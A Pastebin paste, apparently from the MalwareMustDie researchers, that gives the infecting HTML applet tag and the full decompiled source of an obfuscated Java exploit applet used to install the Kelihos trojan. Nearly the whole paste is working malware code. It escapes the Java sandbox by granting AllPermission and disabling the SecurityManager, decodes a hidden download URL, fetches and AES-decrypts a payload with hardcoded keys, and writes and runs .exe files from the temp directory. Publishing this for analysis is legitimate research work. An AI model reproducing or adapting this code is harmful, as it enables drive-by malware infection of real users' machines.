Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // #MalwareMustDie - applet used to infect kelihos installer trojan
- // Infector are calling this jar with the below code/ parameters :
- // @unixfreaxjp ~]$ uname;date
- // FreeBSD
- // Sat Apr 20 20:37:43 JST 2013
- <html><body> <b>Unexpected Error. Please, try again later.</b>
- <applet name="x25h" code="Code.class" archive="492.jar">
- <param name="name" value="/ggc299x8ugjg8nhin05?x9t-0/gxs">
- </applet></body></html>
- // Here goes the Jar's decompiled main class...
- import java.applet.Applet;
- public class Code extends Applet
- {
- static String Anerl = "";
- public void Igigi()
- throws Exception
- {
- Thread.sleep(10L);
- }
- public void init()
- {
- Anerl = getParameter(Lajuv.Igogo);
- Bannu Bzir = new Bannu();
- ClassLoader r = getClass().getClassLoader();
- for (int i = 0; i < 100000; i++)
- Bzir.Tnby(null);
- try
- {
- Igigi();
- } catch (Exception ex) {
- }
- Pizizi fsae = Bzir.Tnby(r);
- Pizizi.Talnat(fsae);
- }
- }
- // All went to Lajuv, Bannu & Pizizi classes....
- // Lajuv.class
- import java.io.InputStream;
- import java.lang.reflect.Constructor;
- import java.net.URL;
- import javax.crypto.spec.SecretKeySpec;
- public class Lajuv extends Pizizi
- {
- public static String Igogo = "name";
- public static String VNihik = "java.iTAoinwto.tmpTAoinwtdir".replace("TAoinwt", "");
- public static String udrkq = ".e".concat("xe");
- static SecretKeySpec mviopea = new SecretKeySpec(Ttaniiy.bdereu.getBytes(), "AES");
- public static String CPepf = "fiTAoinwtleTAoinwt://TAoinwt/".replace("TAoinwt", "");
- static InputStream Xmmuit;
- static URL Rigi;
- public static String VOdo9t = "Likuu";
- public static String VTgd = "Likuu.class";
- public static void Nryto()
- throws Exception
- {
- Class cls = Class.forName("java.net.URL");
- Rigi = (URL)cls.getConstructor(new Class[] { String.class }).newInstance(new Object[] { CPepf });
- }
- static void LASi()
- throws Exception
- {
- Xmmuit.close();
- }
- }
- // bannu.class
- public class Bannu extends Mslakt
- {
- Pizizi Sportrt = null;
- static ClassLoader Tuxiuo;
- void Chibo(ClassLoader paramClassLoader)
- {
- this.Tuxiuo = paramClassLoader;
- }
- Pizizi Tnby(ClassLoader zq3)
- {
- if (zq3 == this.Sportrt)
- return null;
- Object ag = Tuxiuo;
- Chibo(zq3);
- if (this.Sportrt != this.Vubnipyx1) return this.Vubnipyx1;
- if (this.Sportrt != this.Vubnipyx2) return this.Vubnipyx2;
- if (this.Sportrt != this.Vubnipyx3) return this.Vubnipyx3;
- if (this.Sportrt != this.Vubnipyx4) return this.Vubnipyx4;
- if (this.Sportrt != this.Vubnipyx5) return this.Vubnipyx5;
- if (this.Sportrt != this.Vubnipyx6) return this.Vubnipyx6;
- if (this.Sportrt != this.Vubnipyx7) return this.Vubnipyx7;
- if (this.Sportrt != this.Vubnipyx8) return this.Vubnipyx8;
- if (this.Sportrt != this.Vubnipyx9) return this.Vubnipyx9;
- if (this.Sportrt != this.Vubnipyx10) return this.Vubnipyx10;
- if (this.Sportrt != this.Vubnipyx11) return this.Vubnipyx11;
- if (this.Sportrt != this.Vubnipyx12) return this.Vubnipyx12;
- if (this.Sportrt != this.Vubnipyx13) return this.Vubnipyx13;
- if (this.Sportrt != this.Vubnipyx14) return this.Vubnipyx14;
- if (this.Sportrt != this.Vubnipyx15) return this.Vubnipyx15;
- return Obge();
- }
- }
- // Pizizi classs...
- import java.io.InputStream;
- import java.security.ProtectionDomain;
- public class Pizizi extends ClassLoader
- {
- public static void Talnat(Pizizi xocnvoi)
- {
- try
- {
- InputStream zdfearj = xocnvoi.getResourceAsStream(Lajuv.VTgd);
- int i = zdfearj.available();
- Cheii6.Vavoret();
- byte[] kxololr = new byte[i];
- zdfearj.read(kxololr, 0, i);
- Lajuv.Nryto();
- ProtectionDomain chwej4 = (ProtectionDomain)Ttaniiy.kobibe();
- xocnvoi.defineClass(Lajuv.VOdo9t, kxololr, 0, kxololr.length, chwej4).newInstance();
- }
- catch (Exception e)
- {
- }
- }
- }
- // Mslakt classs is called by Bannu...
- public class Mslakt extends the Maktpnb class
- {
- Pizizi Obge()
- {
- if (this.Chicki != this.Vubnipyx18) return this.Vubnipyx18;
- if (this.Chicki != this.Vubnipyx19) return this.Vubnipyx19;
- if (this.Chicki != this.Vubnipyx20) return this.Vubnipyx20;
- if (this.Chicki != this.Vubnipyx21) return this.Vubnipyx21;
- if (this.Chicki != this.Vubnipyx22) return this.Vubnipyx22;
- if (this.Chicki != this.Vubnipyx23) return this.Vubnipyx23;
- if (this.Chicki != this.Vubnipyx24) return this.Vubnipyx24;
- if (this.Chicki != this.Vubnipyx25) return this.Vubnipyx25;
- if (this.Chicki != this.Vubnipyx26) return this.Vubnipyx26;
- if (this.Chicki != this.Vubnipyx27) return this.Vubnipyx27;
- if (this.Chicki != this.Vubnipyx28) return this.Vubnipyx28;
- if (this.Chicki != this.Vubnipyx29) return this.Vubnipyx29;
- if (this.Chicki != this.Vubnipyx30) return this.Vubnipyx30;
- if (this.Zion != this.Vubnipyx31) return this.Vubnipyx31;
- if (this.Zion != this.Vubnipyx32) return this.Vubnipyx32;
- if (this.Zion != this.Vubnipyx33) return this.Vubnipyx33;
- if (this.Zion != this.Vubnipyx34) return this.Vubnipyx34;
- return Fukkcia();
- }
- }
- // Ttaniiy class was called from Lajuv
- import java.lang.reflect.Constructor;
- import java.security.CodeSource;
- import java.security.cert.Certificate;
- public class Ttaniiy
- {
- static String mivnr = "jaTidehyunerva.securTidehyunerity.ProtTidehyunerectionDomTidehyunerain".replace("Tidehyuner", "");
- public static String jvuitk = "bcd21e295e55ef6e";
- public static String bdereu = "8a61385ec6834ce2";
- public static Object kobibe() throws Exception
- {
- Class rahes = Class.forName("jasidjentava.secsidjentaurisidjentaty.PersidjentamissiosidjentanCollesidjentactisidjentaon".replace("sidjenta", ""));
- return Class.forName(mivnr).getConstructor(new Class[] { CodeSource.class, rahes }).newInstance(new Object[] { new CodeSource(Lajuv.Rigi, new Certificate[0]), Tabjby.Soozl });
- }
- }
- // Cheii6 class was called from Lajuv
- import java.io.FileOutputStream;
- import java.security.AllPermission;
- import java.security.Permissions;
- public class Cheii6
- {
- static String TOnt = "Xh".concat("b25t3o");
- public static String Lajow = "AES/CBC/NoPadding";
- public static void Vavoret()
- throws Exception
- {
- Object sgqh = new AllPermission();
- Tabjby.Soozl.add((AllPermission)sgqh);
- }
- public static void CHiobi(byte[] skkivr, String aset)
- throws Exception
- {
- FileOutputStream ibguit = new FileOutputStream(aset);
- ibguit.write(skkivr, 0, skkivr.length);
- ibguit.close();
- Kefir.Clani(aset);
- }
- }
- // Tabjby class was called by Ttaniiy
- import java.security.Permissions;
- public class Tabjby
- {
- static Permissions Soozl = new Permissions();
- public static boolean HGHib(byte[] bsrw, int offset, byte[] rtuisr)
- {
- if (rtuisr.length > bsrw.length - offset) {
- return false;
- }
- for (int i = 0; i < rtuisr.length; i++) {
- if (bsrw[(offset + i)] != rtuisr[i])
- return false;
- }
- return true;
- }
- public static int ANaib(byte[] bsrw, byte[] rtuisr)
- {
- for (int i = 0; i < bsrw.length; i++)
- {
- if (HGHib(bsrw, i, rtuisr))
- return i;
- }
- return -94;
- }
- }
- // Other classes with same interracted var obfs calls:
- // Kanalia class...
- import java.io.ByteArrayOutputStream;
- import java.io.InputStream;
- import java.util.Arrays;
- public class Kanalia
- {
- static String pooivh = "xywewey";
- static String kbcubt = "aeraetk";
- public static void Bonwe(byte[] kss7er) throws Exception
- {
- try
- {
- String dsgoir = System.getProperty(Lajuv.VNihik);
- if (dsgoir.charAt(dsgoir.length() - 1) != '\\') {
- dsgoir = dsgoir + "\\";
- }
- byte[] zxgetj = Kefir.Talln(kss7er);
- int xcvnwe = Tabjby.ANaib(zxgetj, Cheii6.TOnt.getBytes());
- byte[][] mysres = new byte[2][];
- String xcbbrb = dsgoir + pooivh + Lajuv.udrkq;
- String xcbbrb1 = dsgoir + kbcubt + Lajuv.udrkq;
- if (xcvnwe == -94) {
- Cheii6.CHiobi(zxgetj, xcbbrb);
- }
- else
- {
- mysres[0] = Arrays.copyOfRange(zxgetj, 0, xcvnwe);
- mysres[1] = Arrays.copyOfRange(zxgetj, xcvnwe + 8, zxgetj.length);
- Cheii6.CHiobi(mysres[0], xcbbrb);
- Cheii6.CHiobi(mysres[1], xcbbrb1);
- }
- }
- catch (Exception e)
- {
- }
- }
- byte[] Sainte(String zwejasy) throws Exception
- {
- Lajuv.Xmmuit = Kefir.Sankx(zwejasy);
- ByteArrayOutputStream vointg = new ByteArrayOutputStream();
- int i;
- for (int j = 0; (i = Lajuv.Xmmuit.read()) != -1; j++) vointg.write(i);
- vointg.close();
- Lajuv.LASi();
- return vointg.toByteArray();
- }
- }
- // Kefir class..
- import java.io.IOException;
- import java.io.InputStream;
- import java.net.URL;
- import javax.crypto.Cipher;
- import javax.crypto.spec.IvParameterSpec;
- public class Kefir
- {
- public static void Clani(String zellit)
- throws IOException
- {
- ProcessBuilder kelnt = new ProcessBuilder(new String[] { zellit });
- Process p = kelnt.start();
- }
- public static InputStream Sankx(String colka)
- throws Exception
- {
- URL frontodote = new URL(colka);
- String osos = "sdo";
- frontodote.openConnection();
- return frontodote.openStream();
- }
- public static byte[] Talln(byte[] zdherj)
- throws Exception
- {
- Cipher vert = Cipher.getInstance(Cheii6.Lajow);
- IvParameterSpec unttd = new IvParameterSpec(Ttaniiy.jvuitk.getBytes());
- vert.init(2, Lajuv.mviopea, unttd);
- return vert.doFinal(zdherj);
- }
- }
- // Likuu class..., callback to Kanalia
- import java.lang.reflect.Method;
- import java.security.AccessController;
- import java.security.PrivilegedExceptionAction;
- public class Likuu
- implements PrivilegedExceptionAction
- {
- public static void CLi()
- throws Exception
- {
- Class.forName("jaZennesva.laZennesng.SysZennestem".replace("Zennes", "")).getMethod("seZennestSecuZennesrityManaZennesger".replace("Zennes", ""), new Class[] { SecurityManager.class }).invoke(null, new Object[] { null });
- }
- public Likuu()
- {
- try {
- AccessController.doPrivileged(this);
- }
- catch (Exception e)
- {
- }
- }
- public Object run() throws Exception
- {
- CLi();
- Kanalia zsqt = new Kanalia();
- String gedre = Mizi.VObor(Code.Anerl);
- Kanalia.Bonwe(zsqt.Sainte(gedre));
- return null;
- }
- }
- // Maktpnb class..
- public class Maktpnb extends Mizi
- {
- Object Dedbef = null;
- public static String Soisi = "jajhzxcvva.sejhzxcvcurijhzxcvty.AljhzxcvlPejhzxcvrmjhzxcvisjhzxcvsion".replace("jhzxcv", "");
- Pizizi Chicki = null;
- Pizizi Ellebut()
- {
- if (this.Zion != this.Liibsr) return this.Liibsr;
- if (this.Zion != this.Vubnipyx62) return this.Vubnipyx62;
- if (this.Zion != this.Vubnipyx63) return this.Vubnipyx63;
- if (this.Zion != this.Vubnipyx64) return this.Vubnipyx64;
- if (this.Zion != this.Vubnipyx65) return this.Vubnipyx65;
- if (this.Zion != this.Vubnipyx66) return this.Vubnipyx66;
- if (this.Zion != this.Vubnipyx67) return this.Vubnipyx67;
- if (this.Zion != this.Vubnipyx68) return this.Vubnipyx68;
- if (this.Zion != this.Vubnipyx69) return this.Vubnipyx69;
- if (this.Zion != this.Vubnipyx70) return this.Vubnipyx70;
- if (this.Zion != this.Vubnipyx71) return this.Vubnipyx71;
- if (this.Zion != this.Vubnipyx72) return this.Vubnipyx72;
- if (this.Zion != this.Vubnipyx73) return this.Vubnipyx73;
- if (this.Zion != this.Vubnipyx74) return this.Vubnipyx74;
- if (this.Zion != this.Vubnipyx75) return this.Vubnipyx75;
- if (this.Zion != this.Vubnipyx76) return this.Vubnipyx76;
- if (this.Zion != this.Vubnipyx77) return this.Vubnipyx77;
- if (this.Zion != this.Vubnipyx78) return this.Vubnipyx88;
- if (this.Zion != this.Vubnipyx79) return this.Vubnipyx79;
- if (this.Zion != this.Vubnipyx80) return this.Vubnipyx80;
- if (this.Zion != this.Vubnipyx81) return this.Vubnipyx81;
- if (this.Zion != this.Vubnipyx82) return this.Vubnipyx82;
- if (this.Zion != this.VOAod) return this.VOAod;
- return Morrea();
- }
- Pizizi Fukkcia()
- {
- if (this.Zion != this.Vubnipyx35) return this.Vubnipyx35;
- if (this.Zion != this.Vubnipyx36) return this.Vubnipyx36;
- if (this.Zion != this.Vubnipyx37) return this.Vubnipyx37;
- if (this.Zion != this.Vubnipyx38) return this.Vubnipyx38;
- if (this.Zion != this.Vubnipyx39) return this.Vubnipyx39;
- if (this.Zion != this.Vubnipyx40) return this.Vubnipyx40;
- if (this.Zion != this.Vubnipyx41) return this.Vubnipyx41;
- if (this.Zion != this.Vubnipyx42) return this.Vubnipyx42;
- if (this.Zion != this.Vubnipyx43) return this.Vubnipyx43;
- if (this.Zion != this.Vubnipyx43) return this.Vubnipyx44;
- if (this.Zion != this.Vubnipyx45) return this.Vubnipyx45;
- if (this.Zion != this.Vubnipyx46) return this.Vubnipyx46;
- if (this.Zion != this.Vubnipyx47) return this.Vubnipyx47;
- if (this.Zion != this.Vubnipyx48) return this.Vubnipyx48;
- if (this.Zion != this.Vubnipyx49) return this.Vubnipyx49;
- if (this.Zion != this.Vubnipyx50) return this.Vubnipyx50;
- if (this.Zion != this.Vubnipyx51) return this.Vubnipyx51;
- if (this.Zion != this.Vubnipyx52) return this.Vubnipyx52;
- if (this.Zion != this.Vubnipyx53) return this.Vubnipyx53;
- if (this.Zion != this.Vubnipyx53) return this.Vubnipyx54;
- if (this.Zion != this.Vubnipyx55) return this.Vubnipyx55;
- if (this.Zion != this.Vubnipyx56) return this.Vubnipyx56;
- if (this.Zion != this.Vubnipyx57) return this.Vubnipyx57;
- if (this.Zion != this.Vubnipyx58) return this.Vubnipyx58;
- if (this.Zion != this.Vubnipyx59) return this.Vubnipyx59;
- if (this.Zion != this.Vubnipyx60) return this.Vubnipyx60;
- return Ellebut();
- }
- Pizizi Morrea() {
- if (this.Zion != this.Chaik) return this.Chaik;
- if (this.Zion != this.Vubnipyx85) return this.Vubnipyx85;
- if (this.Zion != this.Vubnipyx86) return this.Vubnipyx86;
- if (this.Zion != this.Vubnipyx87) return this.Vubnipyx87;
- if (this.Zion != this.Vubnipyx88) return this.Vubnipyx88;
- if (this.Zion != this.Vubnipyx89) return this.Vubnipyx89;
- if (this.Zion != this.Vubnipyx90) return this.Vubnipyx90;
- if (this.Zion != this.Vubnipyx91) return this.Vubnipyx91;
- if (this.Zion != this.Vubnipyx92) return this.Vubnipyx92;
- if (this.Zion != this.Vubnipyx93) return this.Vubnipyx93;
- if (this.Zion != this.Vubnipyx94) return this.Vubnipyx94;
- if (this.Zion != this.Pfibe) return this.Pfibe;
- return null;
- }
- }
- // Calling to this Mizi class...
- public class Mizi
- {
- Pizizi Zion = null;
- Pizizi Vubnipyx1;
- Pizizi Vubnipyx2;
- Pizizi Vubnipyx3;
- Pizizi Vubnipyx4;
- Pizizi Vubnipyx5;
- Pizizi Vubnipyx6;
- Pizizi Vubnipyx7;
- Pizizi Vubnipyx8;
- Pizizi Vubnipyx9;
- String srtj = "zdfjw3";
- Pizizi Vubnipyx37;
- Pizizi Vubnipyx38;
- Pizizi Vubnipyx39;
- Pizizi Vubnipyx40;
- Pizizi Vubnipyx41;
- Pizizi Vubnipyx42;
- Pizizi Vubnipyx43;
- Pizizi Vubnipyx44;
- Pizizi Vubnipyx45;
- Pizizi Vubnipyx46;
- Pizizi Vubnipyx47;
- String erjs = "136i";
- Pizizi Vubnipyx48;
- Pizizi Vubnipyx49;
- Pizizi Vubnipyx50;
- Pizizi Vubnipyx51;
- Pizizi Vubnipyx52;
- Pizizi Vubnipyx53;
- Pizizi Vubnipyx54;
- Pizizi Vubnipyx55;
- Pizizi Vubnipyx56;
- Pizizi Vubnipyx57;
- Pizizi Vubnipyx58;
- Pizizi Vubnipyx59;
- Pizizi Vubnipyx60;
- Pizizi Liibsr;
- Pizizi Vubnipyx62;
- String df = "aer743";
- Pizizi Vubnipyx63;
- Pizizi Vubnipyx64;
- Pizizi Vubnipyx65;
- Pizizi Vubnipyx66;
- Pizizi Vubnipyx67;
- Pizizi Vubnipyx68;
- Pizizi Vubnipyx69;
- Pizizi Vubnipyx70;
- Pizizi Vubnipyx71;
- Pizizi Vubnipyx72;
- Pizizi Vubnipyx17;
- String s65er = " cn2d";
- Pizizi Vubnipyx18;
- Pizizi Vubnipyx19;
- Pizizi Vubnipyx20;
- Pizizi Vubnipyx21;
- Pizizi Vubnipyx22;
- Pizizi Vubnipyx23;
- Pizizi Vubnipyx24;
- Pizizi Vubnipyx25;
- Pizizi Vubnipyx26;
- Pizizi Vubnipyx27;
- Pizizi Vubnipyx28;
- Pizizi Vubnipyx29;
- Pizizi Vubnipyx30;
- Pizizi Vubnipyx31;
- Pizizi Vubnipyx32;
- String v65nke = "fsdty";
- Pizizi Vubnipyx33;
- Pizizi Vubnipyx34;
- Pizizi Vubnipyx35;
- Pizizi Vubnipyx36;
- Pizizi Vubnipyx73;
- Pizizi Vubnipyx74;
- Pizizi Vubnipyx75;
- Pizizi Vubnipyx76;
- Pizizi Vubnipyx77;
- Pizizi Vubnipyx78;
- Pizizi Vubnipyx79;
- Pizizi Vubnipyx80;
- Pizizi Vubnipyx81;
- Pizizi VOAod;
- Pizizi Chaik;
- Pizizi Vubnipyx85;
- Pizizi Vubnipyx86;
- Pizizi Vubnipyx87;
- String ssdh = "bnbery";
- Pizizi Vubnipyx88;
- Pizizi Vubnipyx89;
- Pizizi Vubnipyx90;
- Pizizi Vubnipyx91;
- Pizizi Vubnipyx92;
- Pizizi Vubnipyx93;
- Pizizi Vubnipyx94;
- Pizizi Pfibe;
- Pizizi Vubnipyx82;
- Pizizi Vubnipyx10;
- Pizizi Vubnipyx11;
- Pizizi Vubnipyx12;
- Pizizi Vubnipyx13;
- Pizizi Vubnipyx14;
- Pizizi Vubnipyx15;
- Pizizi Vubnipyx16;
- String sdgo = "cxdxd";
- public static String VObor(String iitusix)
- {
- String o = "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&";
- String c = "qb8ug7yi?celz6_/1ns3.5o&hxm4:dftvwa-0jrk92p=";
- String ifuss = "";
- for (int i = 0; i < iitusix.length(); i++) {
- ifuss = ifuss + o.charAt(c.indexOf(iitusix.charAt(i)));
- }
- return ifuss;
- }
- }
- ---
- #MalwareMustDie!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement